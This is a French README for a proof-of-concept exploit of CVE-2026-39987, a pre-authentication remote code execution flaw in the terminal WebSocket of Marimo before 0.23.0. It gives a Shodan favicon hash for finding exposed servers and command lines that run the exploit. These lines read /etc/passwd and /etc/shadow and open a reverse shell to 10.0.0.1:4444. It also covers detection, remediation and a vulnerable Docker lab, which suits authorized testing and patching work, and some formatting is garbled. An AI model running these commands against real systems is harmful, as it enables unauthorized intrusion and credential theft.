
PoC de CVE-2026-39987 : RCE pré-authentification via WebSocket dans Marimo antérieur à 0.23.0 (CVSS 9.3).
Ce script est UNIQUEMENT à des fins éducatives et pour des tests autorisés. L'utilisation non autorisée de cet outil contre des systèmes sans permission explicite est ILLÉGALE. L'auteur décline toute responsabilité en cas de mauvaise utilisation de ces informations.
Les versions de Marimo antérieures à la 0.23.0 présentent une vulnérabilité critique d'exécution de code à distance (RCE) sans authentification préalable. Le endpoint /terminal/ws n'implémente pas de contrôles d'accès adéquats, permettant à un attaquant non authentifié d'obtenir un shell interactif complet sur le système.
| Détail | Informations |
|---|---|
| CVE | CVE-2026-39987 |
| Sévérité | CRITIQUE |
| Score CVSS | 9.3 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H) |
| Type | Exécution de code à distance pré-authentification (RCE) |
| Vecteur | WebSocket (/terminal/ws) |
| Produit affecté | Marimo < 0.23.0 |
| Correctif | Marimo ≥ 0.23.0 |
http.favicon.hash:-1864630356
text
-1864630356/api/versionpip install websockets requests
Utilisation de base
bash
python CVE-2026-39987_PoC.py http://victime.com:8080 "id"
Exemples
bash
# Obtenir les informations du système
python CVE-2026-39987_PoC.py http://target.com:8080 "id"
python CVE-2026-39987_PoC.py http://target.com:8080 "uname -a"
python CVE-2026-39987_PoC.py http://target.com:8080 "whoami"
# Lire des fichiers sensibles
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/passwd"
python CVE-2026-39987_PoC.py http://target.com:8080 "cat /etc/shadow"
# Reverse shell
python CVE-2026-39987_PoC.py http://target.com:8080 "bash -i >& /dev/tcp/10.0.0.1/4444 0>&1"
# Shell interactif
python CVE-2026-39987_PoC.py http://target.com:8080 "python3 -c 'import pty; pty.spawn(\"/bin/bash\")'"
🛡️ Détection (Sûre)
Script de détection passive
bash
python detector.py -u http://target.com:8080
python detector.py -l urls.txt
Modèle Nuclei
yaml
# marimo-cve-2026-39987.yaml
id: CVE-2026-39987
info:
name: Marimo < 0.23.0 Pre-Auth RCE
severity: critical
# ... (modèle complet inclus)
🔧 Remédiation
Immédiate
DÉCONNECTER le système du réseau s'il est exposé
Bloquer l'accès au port où Marimo est exécuté
Examiner les journaux pour détecter toute activité suspecte
Permanente
bash
# Mettre à jour vers la version corrigée
pip install --upgrade marimo>=0.23.0
# Vérifier la version
marimo --version
# Configurer l'authentification si exposé publiquement
# NE JAMAIS exposer 'marimo edit' directement sur Internet
Docker (Environnement vulnérable)
bash
# Exécuter la version vulnérable pour les tests
docker run -p 8080:8080 marimo-team/marimo:0.22.0
# Vérifier la vulnérabilité
python CVE-2026-39987_detector.py http://localhost:8080
# Exploiter
python CVE-2026-39987_PoC.py http://localhost:8080 "id"
GitHub Security Advisory
Entrée NVD
Pull Request #9098
Documentation Marimo
👥 Crédits
Découverte : [Nom du chercheur]
Développement du PoC : [Votre nom]
Correctif : Marimo Team
📜 Licence
Ce projet est uniquement à des fins éducatives. L'utilisation de ce logiciel se fait à vos propres risques.
⭐ Si ce README vous a été utile, pensez à mettre une étoile au dépôt.
⚠️ RAPPELEZ-VOUS : UN GRAND POUVOIR IMPLIQUE DE GRANDES RESPONSABILITÉS